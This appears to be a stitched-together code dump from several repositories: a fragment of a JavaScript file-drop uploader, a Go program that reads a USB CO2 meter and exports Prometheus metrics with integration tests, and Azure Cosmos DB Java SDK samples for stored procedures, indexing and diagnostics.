reader.readAsArrayBuffer(file);
}
var reader = new FileReader();
reader.onload = async function (e) {
var result = e.target.result;
await k.files.archive.writeFile('/files/' + file.name, result);
await k.files.archive.commit();
k.files.show_files();
i++;
if (i < files.length) next();
}
next();
k.files.drag(false);
}
this.setup_owner = function() {
if (k.is_owner) {
var body = document.querySelectorAll('body')[0];
document.body.classList = 'owner';
body.addEventListener('dragover',this.drag_over,false);
body.addEventListener('dragleave',this.drag_leave,false);
body.addEventListener('drop',this.drop,false);
}
}
this.index_of_file = function(filename) {
for (var i = 0; i < this.files.length; i++) {
if (this.files[i].name == filename) return i;
}
return -1;
}
return this;
}
async function get_image_lightness(image_src, el, callback) {
// not the best function because every image is loaded twice
// it works for now
var h = 50;
var img = document.createElement("img");
img.src = image_src;
img.style.display = "none";
document.body.appendChild(img);
var colorSum = 0;
img.onload = function() {
var canvas = document.createElement("canvas");
canvas.width = this.width;
canvas.height = this.height;
var ctx = canvas.getContext("2d");
ctx.drawImage(this,0,0);
var imageData = ctx.getImageData(0,0,canvas.width,h);
var data = imageData.data;
var r,g,b,avg;
for(var x = 0, len = data.length; x < len; x+=4) {
r = data[x];
g = data[x+1];
b = data[x+2];
avg = Math.floor((r+g+b)/3);
colorSum += avg;
}
var brightness = Math.floor(colorSum / (this.width*h));
callback(el, brightness);
}
}
async function file_handler() {
var file = document.querySelector('input[type=file]').files[0];
var reader = new FileReader();
reader.addEventListener("load", async function () {
var content = reader.result.split(',')[1];
await k.files.archive.writeFile('/files/' + file.name, content, 'base64');
await k.files.archive.commit()
}, false);
if (file) {
reader.readAsDataURL(file);
}
}
| kodedninja/ntain |
<|start_filename|>meter/meter.go<|end_filename|>
package meter
import (
"os"
"syscall"
"unsafe"
"log"
"math"
"crypto/rand"
"sync/atomic"
"github.com/pkg/errors"
)
const (
meterTemp byte = 0x42
meterCO2 byte = 0x50
hidiocsfeature9 uintptr = 0xc0094806
)
var key = [8]byte{}
// Meter gives access to the CO2 Meter. Make sure to call Open before Read.
type Meter struct {
file *os.File
opened int32
}
// Measurement is the result of a Read operation.
type Measurement struct {
Temperature float64
Co2 int
}
// Open will open the device file specified in the path which is usually something like /dev/hidraw2.
func (m *Meter) Open(path string) (err error) {
atomic.StoreInt32(&m.opened, 1)
m.initKey()
m.file, err = os.OpenFile(path, os.O_RDWR, 0644)
if err != nil || m.file == nil {
return errors.Wrapf(err, "Failed to open '%v'", path)
}
log.Printf("Device '%v' opened", m.file.Name())
return m.ioctl()
}
// initKey writes 8 bytes entropy to the global key variable. A static key would be sufficient, but lets stick with
// real randomness
func (m *Meter) initKey() {
_, err := rand.Read(key[:])
if err != nil {
panic(err)
}
}
// ioctl writes into the device file. We need to write 9 bytes where the first byte specifies the report number.
// In this case 0x00.
func (m *Meter) ioctl() error {
data := [9]byte{}
copy(data[1:], key[0:]) // remember, first byte needs to be 0
_, _, err := syscall.Syscall(syscall.SYS_IOCTL, m.file.Fd(), hidiocsfeature9, uintptr(unsafe.Pointer(&data)))
if err != 0 {
return errors.Wrap(syscall.Errno(err), "ioctl failed")
}
return nil
}
// Read will read from the device file until it finds a temperature and co2 measurement. Before it can be used the
// device file needs to be opened via Open.
func (m *Meter) Read() (*Measurement, error) {
if atomic.LoadInt32(&m.opened) != 1 {
return nil, errors.New("Device needs to be opened")
}
result := make([]byte, 8)
measurement := &Measurement{Co2: 0, Temperature: -273.15}
for {
_, err := m.file.Read(result)
if err != nil {
return nil, errors.Wrapf(err, "Could not read from: '%v'", m.file.Name())
}
decrypted := m.decrypt(result)
operation := decrypted[0]
value := decrypted[1]<<8 | decrypted[2]
switch byte(operation) {
case meterCO2:
measurement.Co2 = int(value)
case meterTemp:
measurement.Temperature = math.Round((float64(value)/16.0 - 273.15) * 100.0) / 100.0
}
if measurement.Co2 != 0 && measurement.Temperature != -273.15 {
return measurement, nil
}
}
}
// decrypt is a clone of the python decrypt function of the original article: https://hackaday.io/project/5301-reverse-engineering-a-low-cost-usb-co-monitor/log/17909-all-your-base-are-belong-to-us
func (m *Meter) decrypt(data []byte) []uint {
state := []uint{0x48, 0x74, 0x65, 0x6D, 0x70, 0x39, 0x39, 0x65}
shuffle := []int{2, 4, 0, 7, 1, 6, 5, 3}
phase1 := make([]uint, 8)
for i := range shuffle {
phase1[shuffle[i]] = uint(data[i])
}
phase2 := make([]uint, 8)
for i := 0; i < 8; i++ {
phase2[i] = phase1[i] ^ uint(key[i])
}
phase3 := make([]uint, 8)
for i := 0; i < 8; i++ {
phase3[i] = ((phase2[i] >> 3) | (phase2[(i-1+8)%8] << 5)) & 0xff
}
tmp := make([]uint, 8)
for i := 0; i < 8; i++ {
tmp[i] = ((state[i] >> 4) | (state[i] << 4)) & 0xff
}
result := make([]uint, 8)
for i := 0; i < 8; i++ {
result[i] = (0x100 + phase3[i] - tmp[i]) & 0xff
}
return result
}
// Close will close the device file.
func (m *Meter) Close() error {
log.Printf("Closing '%v'", m.file.Name())
atomic.StoreInt32(&m.opened, 0)
return m.file.Close()
}
<|start_filename|>main.go<|end_filename|>
package main
import (
"log"
"net/http"
"github.com/larsp/co2monitor/meter"
"github.com/prometheus/client_golang/prometheus"
"github.com/prometheus/client_golang/prometheus/promhttp"
"gopkg.in/alecthomas/kingpin.v2"
)
var (
device = kingpin.Arg("device", "CO2 Meter device, such as /dev/hidraw2").Required().String()
listenAddr = kingpin.Arg("listen-address", "The address to listen on for HTTP requests.").
Default(":8080").String()
)
var (
temperature = prometheus.NewGauge(prometheus.GaugeOpts{
Name: "meter_temperature_celsius",
Help: "Current temperature in Celsius",
})
co2 = prometheus.NewGauge(prometheus.GaugeOpts{
Name: "meter_co2_ppm",
Help: "Current CO2 level (ppm)",
})
)
func init() {
prometheus.MustRegister(temperature)
prometheus.MustRegister(co2)
}
func main() {
kingpin.Parse()
http.Handle("/metrics", promhttp.Handler())
go measure()
log.Printf("Serving metrics at '%v/metrics'", *listenAddr)
log.Fatal(http.ListenAndServe(*listenAddr, nil))
}
func measure() {
meter := new(meter.Meter)
err := meter.Open(*device)
if err != nil {
log.Fatalf("Could not open '%v'", *device)
return
}
for {
result, err := meter.Read()
if err != nil {
log.Fatalf("Something went wrong: '%v'", err)
}
temperature.Set(result.Temperature)
co2.Set(float64(result.Co2))
}
}
<|start_filename|>meter/meter_test.go<|end_filename|>
// These are in fact integration tests. You will need a CO2 meter to run them ¯\_(ツ)_/¯
package meter_test
import (
"testing"
"log"
. "github.com/larsp/co2monitor/meter"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
var device = "/dev/hidraw8"
func TestOpen(t *testing.T) {
meter := new(Meter)
err := meter.Open(device)
defer meter.Close()
require.NoError(t, err)
}
func TestReadWithoutOpen(t *testing.T) {
meter := new(Meter)
_, err := meter.Read()
require.Error(t, err, "Device needs to be opened")
}
func TestReadWhenClosed(t *testing.T) {
meter := new(Meter)
meter.Open(device)
meter.Close()
_, err := meter.Read()
require.Error(t, err, "Device needs to be opened")
}
func TestRead(t *testing.T) {
meter := new(Meter)
err := meter.Open(device)
require.NoError(t, err)
defer meter.Close()
result, err := meter.Read()
require.NoError(t, err)
log.Printf("Temp: '%v', CO2: '%v'", result.Temperature, result.Co2)
assert.InEpsilon(t, 10, result.Temperature, 30)
assert.Condition(t, func() bool { return result.Co2 > 0 })
}
| dominikschulz/co2monitor |
<|start_filename|>src/main/java/com/azure/cosmos/examples/storedprocedure/async/SampleStoredProcedureAsync.java<|end_filename|>
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
package com.azure.cosmos.examples.storedprocedure.async;
import com.azure.cosmos.ConsistencyLevel;
import com.azure.cosmos.CosmosAsyncClient;
import com.azure.cosmos.CosmosAsyncContainer;
import com.azure.cosmos.CosmosAsyncDatabase;
import com.azure.cosmos.CosmosClientBuilder;
import com.azure.cosmos.CosmosException;
import com.azure.cosmos.examples.common.AccountSettings;
import com.azure.cosmos.examples.common.CustomPOJO;
import com.azure.cosmos.models.CosmosContainerProperties;
import com.azure.cosmos.models.CosmosItemResponse;
import com.azure.cosmos.models.CosmosStoredProcedureProperties;
import com.azure.cosmos.models.CosmosStoredProcedureRequestOptions;
import com.azure.cosmos.models.PartitionKey;
import com.azure.cosmos.models.ThroughputProperties;
import com.azure.cosmos.util.CosmosPagedFlux;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import reactor.core.publisher.Mono;
import java.util.ArrayList;
import java.util.concurrent.CountDownLatch;
public class SampleStoredProcedureAsync {
private CosmosAsyncClient client;
private final String databaseName = "SprocTestDB";
private final String containerName = "SprocTestContainer";
private CosmosAsyncDatabase database;
private CosmosAsyncContainer container;
private String sprocId;
protected static Logger logger = LoggerFactory.getLogger(SampleStoredProcedureAsync.class);
public void close() {
client.close();
}
/**
* Stored Procedure Example
* <p>
* This sample code demonstrates creation, execution, and effects of stored procedures
* using Java SDK. A stored procedure is created which will insert a JSON object into
* a Cosmos DB container. The sample executes the stored procedure and then performs
* a point-read to confirm that the stored procedure had the intended effect.
*/
// <Main>
public static void main(String[] args) {
SampleStoredProcedureAsync p = new SampleStoredProcedureAsync();
try {
p.sprocDemo();
logger.info("Demo complete, please hold while resources are released");
p.shutdown();
logger.info("Done.\n");
} catch (Exception e) {
e.printStackTrace();
logger.info(String.format("Cosmos getStarted failed with %s", e));
p.close();
} finally {
}
}
// </Main>
private void sprocDemo() throws Exception {
//Setup client, DB, and the container for which we will create stored procedures
//The container partition key will be id
setUp();
//Create stored procedure and list all stored procedures that have been created.
createStoredProcedure();
readAllSprocs();
//Execute the stored procedure, which we expect will create an item with id test_doc
executeStoredProcedure();
//Perform a point-read to confirm that the item with id test_doc exists
logger.info("Checking that a document was created by the stored procedure...");
CosmosItemResponse<CustomPOJO> test_resp =
container.readItem("test_doc", new PartitionKey("test_doc"), CustomPOJO.class).block();
logger.info(String.format(
"Status return value of point-read for document created by stored procedure (200 indicates success): %d", test_resp.getStatusCode()));
}
public void setUp() throws Exception {
logger.info("Using Azure Cosmos DB endpoint: " + AccountSettings.HOST);
ArrayList<String> preferredRegions = new ArrayList<String>();
preferredRegions.add("West US");
// Create sync client
// <CreateSyncClient>
client = new CosmosClientBuilder()
.endpoint(AccountSettings.HOST)
.key(AccountSettings.MASTER_KEY)
.preferredRegions(preferredRegions)
.consistencyLevel(ConsistencyLevel.EVENTUAL)
.contentResponseOnWriteEnabled(true)
.buildAsyncClient();
logger.info("Create database " + databaseName + " with container " + containerName + " if either does not already exist.\n");
client.createDatabaseIfNotExists(databaseName).flatMap(databaseResponse -> {
database = client.getDatabase(databaseResponse.getProperties().getId());
return Mono.empty();
}).block();
CosmosContainerProperties containerProperties =
new CosmosContainerProperties(containerName, "/id");
ThroughputProperties throughputProperties = ThroughputProperties.createManualThroughput(400);
database.createContainerIfNotExists(containerProperties, throughputProperties).flatMap(containerResponse -> {
container = database.getContainer(containerResponse.getProperties().getId());
return Mono.empty();
}).block();
}
public void shutdown() throws Exception {
//Safe clean & close
deleteStoredProcedure();
}
public void createStoredProcedure() throws Exception {
logger.info("Creating stored procedure...\n");
sprocId = "createMyDocument";
String sprocBody = "function createMyDocument() {\n" +
"var documentToCreate = {\"id\":\"test_doc\"}\n" +
"var context = getContext();\n" +
"var collection = context.getCollection();\n" +
"var accepted = collection.createDocument(collection.getSelfLink(), documentToCreate,\n" +
" function (err, documentCreated) {\n" +
"if (err) throw new Error('Error' + err.message);\n" +
"context.getResponse().setBody(documentCreated.id)\n" +
"});\n" +
"if (!accepted) return;\n" +
"}";
CosmosStoredProcedureProperties storedProcedureDef = new CosmosStoredProcedureProperties(sprocId, sprocBody);
container.getScripts()
.createStoredProcedure(storedProcedureDef,
new CosmosStoredProcedureRequestOptions()).block();
}
private void readAllSprocs() throws Exception {
CosmosPagedFlux<CosmosStoredProcedureProperties> fluxResponse =
container.getScripts().readAllStoredProcedures();
final CountDownLatch completionLatch = new CountDownLatch(1);
fluxResponse.flatMap(storedProcedureProperties -> {
logger.info(String.format("Stored Procedure: %s\n", storedProcedureProperties.getId()));
return Mono.empty();
}).subscribe(
s -> {
},
err -> {
if (err instanceof CosmosException) {
//Client-specific errors
CosmosException cerr = (CosmosException) err;
cerr.printStackTrace();
logger.info(String.format("Read Item failed with %s\n", cerr));
} else {
//General errors
err.printStackTrace();
}
completionLatch.countDown();
},
() -> {
completionLatch.countDown();
}
);
completionLatch.await();
}
public void executeStoredProcedure() throws Exception {
logger.info(String.format("Executing stored procedure %s...\n\n", sprocId));
CosmosStoredProcedureRequestOptions options = new CosmosStoredProcedureRequestOptions();
options.setPartitionKey(new PartitionKey("test_doc"));
container.getScripts()
.getStoredProcedure(sprocId)
.execute(null, options)
.flatMap(executeResponse -> {
logger.info(String.format("Stored procedure %s returned %s (HTTP %d), at cost %.3f RU.\n",
sprocId,
executeResponse.getResponseAsString(),
executeResponse.getStatusCode(),
executeResponse.getRequestCharge()));
return Mono.empty();
}).block();
}
public void deleteStoredProcedure() throws Exception {
logger.info("-Deleting stored procedure...\n");
container.getScripts()
.getStoredProcedure(sprocId)
.delete().block();
logger.info("-Deleting database...\n");
database.delete().block();
logger.info("-Closing client instance...\n");
client.close();
}
}
<|start_filename|>src/main/java/com/azure/cosmos/examples/common/CustomPOJO2.java<|end_filename|>
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
package com.azure.cosmos.examples.common;
public class CustomPOJO2 {
private String id;
private String pk;
public CustomPOJO2() {
}
public CustomPOJO2(String id) {
this.id = id;
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getPk() { return pk; }
public void setPk(String pk) {
this.pk = pk;
}
}
<|start_filename|>src/main/java/com/azure/cosmos/examples/indexmanagement/sync/SampleIndexManagement.java<|end_filename|>
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
package com.azure.cosmos.examples.indexmanagement.sync;
import com.azure.cosmos.ConsistencyLevel;
import com.azure.cosmos.CosmosClient;
import com.azure.cosmos.CosmosClientBuilder;
import com.azure.cosmos.CosmosContainer;
import com.azure.cosmos.CosmosDatabase;
import com.azure.cosmos.CosmosException;
import com.azure.cosmos.examples.common.AccountSettings;
import com.azure.cosmos.examples.common.Families;
import com.azure.cosmos.examples.common.Family;
import com.azure.cosmos.models.CosmosContainerProperties;
import com.azure.cosmos.models.CosmosContainerResponse;
import com.azure.cosmos.models.CosmosDatabaseResponse;
import com.azure.cosmos.models.CosmosItemRequestOptions;
import com.azure.cosmos.models.CosmosItemResponse;
import com.azure.cosmos.models.CosmosQueryRequestOptions;
import com.azure.cosmos.models.ExcludedPath;
import com.azure.cosmos.models.IncludedPath;
import com.azure.cosmos.models.IndexingMode;
import com.azure.cosmos.models.IndexingPolicy;
import com.azure.cosmos.models.PartitionKey;
import com.azure.cosmos.models.ThroughputProperties;
import com.azure.cosmos.util.CosmosPagedIterable;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.time.Duration;
import java.util.ArrayList;
import java.util.List;
import java.util.stream.Collectors;
public class SampleIndexManagement {
private CosmosClient client;
private final String databaseName = "AzureSampleFamilyDB";
private final String containerName = "FamilyContainer";
private CosmosDatabase database;
private CosmosContainer container;
protected static Logger logger = LoggerFactory.getLogger(SampleIndexManagement.class);
public void close() {
client.close();
}
/**
* Run a Hello CosmosDB console application.
* <p>
* This sample is similar to SampleCRUDQuickstart, but modified to show indexing capabilities of Cosmos DB.
* Look at the implementation of createContainerIfNotExistsWithSpecifiedIndex() for the demonstration of
* indexing capabilities.
*/
// <Main>
public static void main(String[] args) {
SampleIndexManagement p = new SampleIndexManagement();
try {
logger.info("Starting SYNC main");
p.indexManagementDemo();
logger.info("Demo complete, please hold while resources are released");
} catch (Exception e) {
e.printStackTrace();
logger.error(String.format("Cosmos getStarted failed with %s", e));
} finally {
logger.info("Closing the client");
p.shutdown();
}
}
// </Main>
private void indexManagementDemo() throws Exception {
logger.info("Using Azure Cosmos DB endpoint: " + AccountSettings.HOST);
ArrayList<String> preferredRegions = new ArrayList<String>();
preferredRegions.add("West US");
// Create sync client
// <CreateSyncClient>
client = new CosmosClientBuilder()
.endpoint(AccountSettings.HOST)
.key(AccountSettings.MASTER_KEY)
.preferredRegions(preferredRegions)
.consistencyLevel(ConsistencyLevel.EVENTUAL)
.contentResponseOnWriteEnabled(true)
.buildClient();
// </CreateSyncClient>
createDatabaseIfNotExists();
//Here is where index management is performed
createContainerIfNotExistsWithSpecifiedIndex();
// Setup family items to create
ArrayList<Family> familiesToCreate = new ArrayList<>();
familiesToCreate.add(Families.getAndersenFamilyItem());
familiesToCreate.add(Families.getWakefieldFamilyItem());
familiesToCreate.add(Families.getJohnsonFamilyItem());
familiesToCreate.add(Families.getSmithFamilyItem());
createFamilies(familiesToCreate);
logger.info("Reading items.");
readItems(familiesToCreate);
logger.info("Querying items.");
queryItems();
}
private void createDatabaseIfNotExists() throws Exception {
logger.info("Create database " + databaseName + " if not exists.");
// Create database if not exists
// <CreateDatabaseIfNotExists>
CosmosDatabaseResponse databaseResponse = client.createDatabaseIfNotExists(databaseName);
database = client.getDatabase(databaseResponse.getProperties().getId());
// </CreateDatabaseIfNotExists>
logger.info("Checking database " + database.getId() + " completed!\n");
}
private void createContainerIfNotExistsWithSpecifiedIndex() throws Exception {
logger.info("Create container " + containerName + " if not exists.");
// Create container if not exists
CosmosContainerProperties containerProperties =
new CosmosContainerProperties(containerName, "/lastName");
// <CustomIndexingPolicy>
IndexingPolicy indexingPolicy = new IndexingPolicy();
indexingPolicy.setIndexingMode(IndexingMode.CONSISTENT); //To turn indexing off set IndexingMode.NONE
// Included paths
List<IncludedPath> includedPaths = new ArrayList<>();
includedPaths.add(new IncludedPath("/*"));
indexingPolicy.setIncludedPaths(includedPaths);
// Excluded paths
List<ExcludedPath> excludedPaths = new ArrayList<>();
excludedPaths.add(new ExcludedPath("/name/*"));
indexingPolicy.setExcludedPaths(excludedPaths);
// Spatial indices - if you need them, here is how to set them up:
/*
List<SpatialSpec> spatialIndexes = new ArrayList<SpatialSpec>();
List<SpatialType> collectionOfSpatialTypes = new ArrayList<SpatialType>();
SpatialSpec spec = new SpatialSpec();
spec.setPath("/locations/*");
collectionOfSpatialTypes.add(SpatialType.Point);
spec.setSpatialTypes(collectionOfSpatialTypes);
spatialIndexes.add(spec);
indexingPolicy.setSpatialIndexes(spatialIndexes);
*/
// Composite indices - if you need them, here is how to set them up:
/*
List<List<CompositePath>> compositeIndexes = new ArrayList<>();
List<CompositePath> compositePaths = new ArrayList<>();
CompositePath nameCompositePath = new CompositePath();
nameCompositePath.setPath("/name");
nameCompositePath.setOrder(CompositePathSortOrder.ASCENDING);
CompositePath ageCompositePath = new CompositePath();
ageCompositePath.setPath("/age");
ageCompositePath.setOrder(CompositePathSortOrder.DESCENDING);
compositePaths.add(ageCompositePath);
compositePaths.add(nameCompositePath);
compositeIndexes.add(compositePaths);
indexingPolicy.setCompositeIndexes(compositeIndexes);
*/
containerProperties.setIndexingPolicy(indexingPolicy);
// </CustomIndexingPolicy>
// Create container with 400 RU/s
ThroughputProperties throughputProperties = ThroughputProperties.createManualThroughput(400);
CosmosContainerResponse containerResponse = database.createContainerIfNotExists(containerProperties, throughputProperties);
container = database.getContainer(containerResponse.getProperties().getId());
logger.info("Checking container " + container.getId() + " completed!\n");
}
private void createFamilies(List<Family> families) throws Exception {
double totalRequestCharge = 0;
for (Family family : families) {
// <CreateItem>
// Create item using container that we created using sync client
// Use lastName as partitionKey for cosmos item
// Using appropriate partition key improves the performance of database operations
CosmosItemRequestOptions cosmosItemRequestOptions = new CosmosItemRequestOptions();
CosmosItemResponse<Family> item = container.createItem(family, new PartitionKey(family.getLastName()), cosmosItemRequestOptions);
// </CreateItem>
// Get request charge and other properties like latency, and diagnostics strings, etc.
logger.info(String.format("Created item with request charge of %.2f within" +
" duration %s",
item.getRequestCharge(), item.getDuration()));
totalRequestCharge += item.getRequestCharge();
}
logger.info(String.format("Created %d items with total request " +
"charge of %.2f",
families.size(),
totalRequestCharge));
}
private void readItems(ArrayList<Family> familiesToCreate) {
// Using partition key for point read scenarios.
// This will help fast look up of items because of partition key
familiesToCreate.forEach(family -> {
// <ReadItem>
try {
CosmosItemResponse<Family> item = container.readItem(family.getId(), new PartitionKey(family.getLastName()), Family.class);
double requestCharge = item.getRequestCharge();
Duration requestLatency = item.getDuration();
logger.info(String.format("Item successfully read with id %s with a charge of %.2f and within duration %s",
item.getItem().getId(), requestCharge, requestLatency));
} catch (CosmosException e) {
e.printStackTrace();
logger.error(String.format("Read Item failed with %s", e));
}
// </ReadItem>
});
}
private void queryItems() {
// <QueryItems>
// Set some common query options
int preferredPageSize = 10;
CosmosQueryRequestOptions queryOptions = new CosmosQueryRequestOptions();
// Set populate query metrics to get metrics around query executions
queryOptions.setQueryMetricsEnabled(true);
CosmosPagedIterable<Family> familiesPagedIterable = container.queryItems(
"SELECT * FROM Family WHERE Family.lastName IN ('Andersen', 'Wakefield', 'Johnson')", queryOptions, Family.class);
familiesPagedIterable.iterableByPage(preferredPageSize).forEach(cosmosItemPropertiesFeedResponse -> {
logger.info("Got a page of query result with " +
cosmosItemPropertiesFeedResponse.getResults().size() + " items(s)"
+ " and request charge of " + cosmosItemPropertiesFeedResponse.getRequestCharge());
logger.info("Item Ids " + cosmosItemPropertiesFeedResponse
.getResults()
.stream()
.map(Family::getId)
.collect(Collectors.toList()));
});
// </QueryItems>
}
private void shutdown() {
try {
//Clean shutdown
logger.info("Deleting Cosmos DB resources");
logger.info("-Deleting container...");
if (container != null)
container.delete();
logger.info("-Deleting database...");
if (database != null)
database.delete();
logger.info("-Closing the client...");
} catch (Exception err) {
logger.error("Deleting Cosmos DB resources failed, will still attempt to close the client. See stack trace below.");
err.printStackTrace();
}
client.close();
logger.info("Done.");
}
}
<|start_filename|>src/main/java/com/azure/cosmos/examples/diagnostics/async/CosmosDiagnosticsQuickStartAsync.java<|end_filename|>
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
package com.azure.cosmos.examples.diagnostics.async;
import com.azure.cosmos.ConsistencyLevel;
import com.azure.cosmos.CosmosAsyncClient;
import com.azure.cosmos.CosmosAsyncContainer;
import com.azure.cosmos.CosmosAsyncDatabase;
import com.azure.cosmos.CosmosClientBuilder;
import com.azure.cosmos.CosmosDiagnostics;
import com.azure.cosmos.CosmosException;
import com.azure.cosmos.examples.common.AccountSettings;
import com.azure.cosmos.examples.common.Family;
import com.azure.cosmos.models.CosmosContainerProperties;
import com.azure.cosmos.models.CosmosContainerResponse;
import com.azure.cosmos.models.CosmosDatabaseRequestOptions;
import com.azure.cosmos.models.CosmosDatabaseResponse;
import com.azure.cosmos.models.CosmosItemRequestOptions;
import com.azure.cosmos.models.CosmosItemResponse;
import com.azure.cosmos.models.CosmosQueryRequestOptions;
import com.azure.cosmos.models.PartitionKey;
import com.azure.cosmos.models.ThroughputProperties;
import com.azure.cosmos.util.CosmosPagedFlux;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import reactor.core.publisher.Mono;
import java.util.UUID;
public class CosmosDiagnosticsQuickStartAsync {
private CosmosAsyncClient client;
private final String databaseName = "AzureSampleFamilyDB";
private final String containerName = "FamilyContainer";
private final String documentId = UUID.randomUUID().toString();
private final String documentLastName = "Witherspoon";
private CosmosAsyncDatabase database;
private CosmosAsyncContainer container;
private final static Logger logger = LoggerFactory.getLogger(CosmosDiagnosticsQuickStartAsync.class);
public void close() {
client.close();
}
public static void main(String[] args) {
CosmosDiagnosticsQuickStartAsync quickStart = new CosmosDiagnosticsQuickStartAsync();
try {
logger.info("Starting ASYNC main");
quickStart.diagnosticsDemo();
logger.info("Demo complete, please hold while resources are released");
} catch (Exception e) {
logger.error("Cosmos getStarted failed with", e);
} finally {
logger.info("Shutting down");
quickStart.shutdown();
}
}
private void diagnosticsDemo() throws Exception {
logger.info("Using Azure Cosmos DB endpoint: {}", AccountSettings.HOST);
// Create sync client
client = new CosmosClientBuilder()
.endpoint(AccountSettings.HOST)
.key(AccountSettings.MASTER_KEY)
.consistencyLevel(ConsistencyLevel.EVENTUAL)
.contentResponseOnWriteEnabled(true)
.buildAsyncClient();
createDatabaseIfNotExists();
createContainerIfNotExists();
createDocument();
readDocumentById();
readDocumentDoesntExist();
queryDocuments();
replaceDocument();
upsertDocument();
}
// Database Diagnostics
private void createDatabaseIfNotExists() throws Exception {
logger.info("Creating database {} if not exists", databaseName);
// Create database if not exists
Mono<CosmosDatabaseResponse> databaseResponseMono = client.createDatabaseIfNotExists(databaseName);
CosmosDatabaseResponse cosmosDatabaseResponse = databaseResponseMono.block();
CosmosDiagnostics diagnostics = cosmosDatabaseResponse.getDiagnostics();
logger.info("Create database diagnostics : {}", diagnostics);
database = client.getDatabase(cosmosDatabaseResponse.getProperties().getId());
logger.info("Done.");
}
// Container create
private void createContainerIfNotExists() throws Exception {
logger.info("Creating container {} if not exists", containerName);
// Create container if not exists
CosmosContainerProperties containerProperties =
new CosmosContainerProperties(containerName, "/lastName");
// Provision throughput
ThroughputProperties throughputProperties = ThroughputProperties.createManualThroughput(400);
// Create container with 200 RU/s
Mono<CosmosContainerResponse> containerResponseMono = database.createContainerIfNotExists(containerProperties,
throughputProperties);
CosmosContainerResponse cosmosContainerResponse = containerResponseMono.block();
CosmosDiagnostics diagnostics = cosmosContainerResponse.getDiagnostics();
logger.info("Create container diagnostics : {}", diagnostics);
container = database.getContainer(cosmosContainerResponse.getProperties().getId());
logger.info("Done.");
}
private void createDocument() throws Exception {
logger.info("Create document : {}", documentId);
// Define a document as a POJO (internally this
// is converted to JSON via custom serialization)
Family family = new Family();
family.setLastName(documentLastName);
family.setId(documentId);
// Insert this item as a document
// Explicitly specifying the /pk value improves performance.
Mono<CosmosItemResponse<Family>> itemResponseMono = container.createItem(family,
new PartitionKey(family.getLastName()),
new CosmosItemRequestOptions());
CosmosItemResponse<Family> itemResponse = itemResponseMono.block();
CosmosDiagnostics diagnostics = itemResponse.getDiagnostics();
logger.info("Create item diagnostics : {}", diagnostics);
logger.info("Done.");
}
// Document read
private void readDocumentById() throws Exception {
logger.info("Read document by ID : {}", documentId);
// Read document by ID
Mono<CosmosItemResponse<Family>> itemResponseMono = container.readItem(documentId,
new PartitionKey(documentLastName), Family.class);
CosmosItemResponse<Family> familyCosmosItemResponse = itemResponseMono.block();
CosmosDiagnostics diagnostics = familyCosmosItemResponse.getDiagnostics();
logger.info("Read item diagnostics : {}", diagnostics);
Family family = familyCosmosItemResponse.getItem();
// Check result
logger.info("Finished reading family {} with partition key {}", family.getId(), family.getLastName());
logger.info("Done.");
}
// Document read doesn't exist
private void readDocumentDoesntExist() throws Exception {
logger.info("Read document by ID : bad-ID");
// Read document by ID
try {
CosmosItemResponse<Family> familyCosmosItemResponse = container.readItem("bad-ID",
new PartitionKey("bad-lastName"), Family.class).block();
} catch (CosmosException cosmosException) {
CosmosDiagnostics diagnostics = cosmosException.getDiagnostics();
logger.info("Read item exception diagnostics : {}", diagnostics);
}
logger.info("Done.");
}
private void queryDocuments() throws Exception {
logger.info("Query documents in the container : {}", containerName);
String sql = "SELECT * FROM c WHERE c.lastName = 'Witherspoon'";
CosmosPagedFlux<Family> filteredFamilies = container.queryItems(sql, new CosmosQueryRequestOptions(),
Family.class);
// Add handler to capture diagnostics
filteredFamilies = filteredFamilies.handle(familyFeedResponse -> {
logger.info("Query Item diagnostics through handler : {}", familyFeedResponse.getCosmosDiagnostics());
});
// Or capture diagnostics through byPage() APIs.
filteredFamilies.byPage().toIterable().forEach(familyFeedResponse -> {
logger.info("Query item diagnostics through iterableByPage : {}",
familyFeedResponse.getCosmosDiagnostics());
});
logger.info("Done.");
}
private void replaceDocument() throws Exception {
logger.info("Replace document : {}", documentId);
// Replace existing document with new modified document
Family family = new Family();
family.setLastName(documentLastName);
family.setId(documentId);
family.setDistrict("Columbia"); // Document modification
Mono<CosmosItemResponse<Family>> itemResponseMono =
container.replaceItem(family, family.getId(), new PartitionKey(family.getLastName()),
new CosmosItemRequestOptions());
CosmosItemResponse<Family> itemResponse = itemResponseMono.block();
CosmosDiagnostics diagnostics = itemResponse.getDiagnostics();
logger.info("Replace item diagnostics : {}", diagnostics);
logger.info("Request charge of replace operation: {} RU", itemResponse.getRequestCharge());
logger.info("Done.");
}
private void upsertDocument() throws Exception {
logger.info("Replace document : {}", documentId);
// Replace existing document with new modified document (contingent on modification).
Family family = new Family();
family.setLastName(documentLastName);
family.setId(documentId);
family.setDistrict("Columbia"); // Document modification
Mono<CosmosItemResponse<Family>> itemResponseMono =
container.upsertItem(family, new CosmosItemRequestOptions());
CosmosItemResponse<Family> itemResponse = itemResponseMono.block();
CosmosDiagnostics diagnostics = itemResponse.getDiagnostics();
logger.info("Upsert item diagnostics : {}", diagnostics);
logger.info("Done.");
}
// Document delete
private void deleteDocument() throws Exception {
logger.info("Delete document by ID {}", documentId);
// Delete document
Mono<CosmosItemResponse<Object>> itemResponseMono = container.deleteItem(documentId,
new PartitionKey(documentLastName), new CosmosItemRequestOptions());
CosmosItemResponse<Object> itemResponse = itemResponseMono.block();
CosmosDiagnostics diagnostics = itemResponse.getDiagnostics();
logger.info("Delete item diagnostics : {}", diagnostics);
logger.info("Done.");
}
// Database delete
private void deleteDatabase() throws Exception {
logger.info("Last step: delete database {} by ID", databaseName);
// Delete database
CosmosDatabaseResponse dbResp =
client.getDatabase(databaseName).delete(new CosmosDatabaseRequestOptions()).block();
logger.info("Status code for database delete: {}", dbResp.getStatusCode());
logger.info("Done.");
}
// Cleanup before close
private void shutdown() {
try {
//Clean shutdown
deleteDocument();
deleteDatabase();
} catch (Exception err) {
logger.error("Deleting Cosmos DB resources failed, will still attempt to close the client", err);
}
